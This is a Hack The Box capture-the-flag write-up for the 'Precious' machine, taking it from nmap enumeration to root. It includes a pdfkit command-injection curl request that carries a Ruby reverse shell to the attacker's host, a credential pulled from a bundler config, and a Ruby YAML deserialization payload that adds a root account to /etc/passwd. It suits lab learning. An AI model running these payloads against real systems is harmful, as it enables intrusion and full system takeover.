HTB Writeup - Precious
Enumeration
As usual, we start with an nmap
scan to get a listing of open ports and running services on the host.
sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The ports open are typical of a Linux web server; port 22 for remote administration via SSH and 80 for the web server.
Going to the host in the browser immediately redirects us to precios.htb
so we must add this to our /etc/hosts
file so it can be resolved correctly.
After refreshing the browser, we can now view the site. The site has a single input field and a header that says, “Convert Web Page to PDF”, and “Enter URL to Fetch”. This looks like it will call out to any URL we give it.
Let’s stand up a nc
listener so we can see what comes through if it does indeed reach out to anything it is given:
nc -lnvp 4444
Then pass it the URL of http://<your_ip>:4444
and see what arrives in the nc
listener.
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.189] 43490
GET / HTTP/1.1
Host: 10.10.14.10:4444
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
This verifies that it will call out to whatever we pass to the input field. It is using wkhtmltopdf
to do this PDF conversion.
Attempt to Exploit wkhtmltopdf
One thing we can try is to abuse the local file inclusion vulnerability of some versions of wkhtmltopdf
. We can craft this file (exploit.html):
<html>
<head>
<title>Exploit</title>
</head>
<body>
<iframe src=”file:///etc/passwd” height=”500” width=”500”></iframe>
</body>
</html>
And see if we can get the PDF rendered with the /etc/passwd
file included. So we stand up a python
web server using:
python3 -m http.server 9091
And submit the URL of http://<your_ip>:9091/exploit.html
and watch what happens:
Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
10.10.11.189 - - [02/Sep/2024 08:41:55] "GET /exploit.html HTTP/1.1" 200 -
10.10.11.189 - - [02/Sep/2024 08:41:56] code 404, message File not found
10.10.11.189 - - [02/Sep/2024 08:41:56] "GET /%E2%80%9Dfile:///etc/passwd%E2%80%9D HTTP/1.1" 404 -
Notice that the request for the /etc/passwd
file actually comes back to our host? It was not loaded locally. This type of exploit won’t work.
Exploiting pdfkit
When we submit a real, non-malicious HTML payload to the site, such as:
<html>
<head>
<title>Exploit</title>
</head>
<body>
<p>Test</p>
</body>
</html>
We get back a PDF file with a guid for a name. Running exiftool
against the PDF reveals some interesting information:
ExifTool Version Number : 12.76
File Name : 5e0a5xxldg4yim3d0v9k47v2x31he3cc.pdf
Directory : /home/xxxx/Downloads
File Size : 10 kB
File Modification Date/Time : 2024:09:02 08:46:37+10:00
File Access Date/Time : 2024:09:02 08:46:38+10:00
File Inode Change Date/Time : 2024:09:02 08:46:38+10:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
We now know the PDF generation is done by pdfkit
version 0.8.6
. We can search for specific exploits for this technology. Annoyingly, the first exploit I found for this version had been specifically tested against Precious so I knew it would work. https://github.com/shamo0/PDFkit-CMD-Injection
We can start up an nc
listener on our attack host using:
rlwrap nc -lnvp 4444
I use rlwrap
because it provides a useful quick wrapper for up/down arrows in a terminal.
Then we send the exploit mentioned above (you’ll need to replace the local host and port with your own):
curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: $target' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.10%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.10%22%2C4444%29%29%27%60'
Over in our nc
we get a shell which we need to upgrade with python3
:
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.189] 53868
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$
We arrive on the host as the ruby
user but we need to escalate privileges to become the henry
user which we can see in the /home
folders.
We can see the config for the ruby
application that says the bundler config is stored in this user’s home directory. We can cat ~/.bundle/config
to find the password of the henry
user:
ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<redacted>"
Privilege Escalation to Root
As the henry
user, we can run sudo -l
to see that we have the ability to run something as root
:
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
The update_dependencies.rb
is readable and shows us this:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The important bit of information is the YAML.load
function that will load whatever is in the dependencies.yml
file. This is a relative path so we can run this from anywhere that we have write access to such as /dev/shm
and we create our own dependencies.yml
file.
There is an insecure deserialization vulnerability in Ruby because of the YAML.load
function. There is a payload example here, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md
I modified it to be this:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd
method_id: :resolve
What this does is trigger an appending of a new pentester
user (credential Pentester123!
) to the /etc/passwd
file when it is run by:
/usr/bin/ruby /opt/update_dependencies.rb
Triggering this appends the user and we can escalate to root
using su pentester
:
henry@precious:/dev/shm$ su pentester
su pentester
Password: Pentester123!
root@precious:/dev/shm# id
id
uid=0(root) gid=0(root) groups=0(root)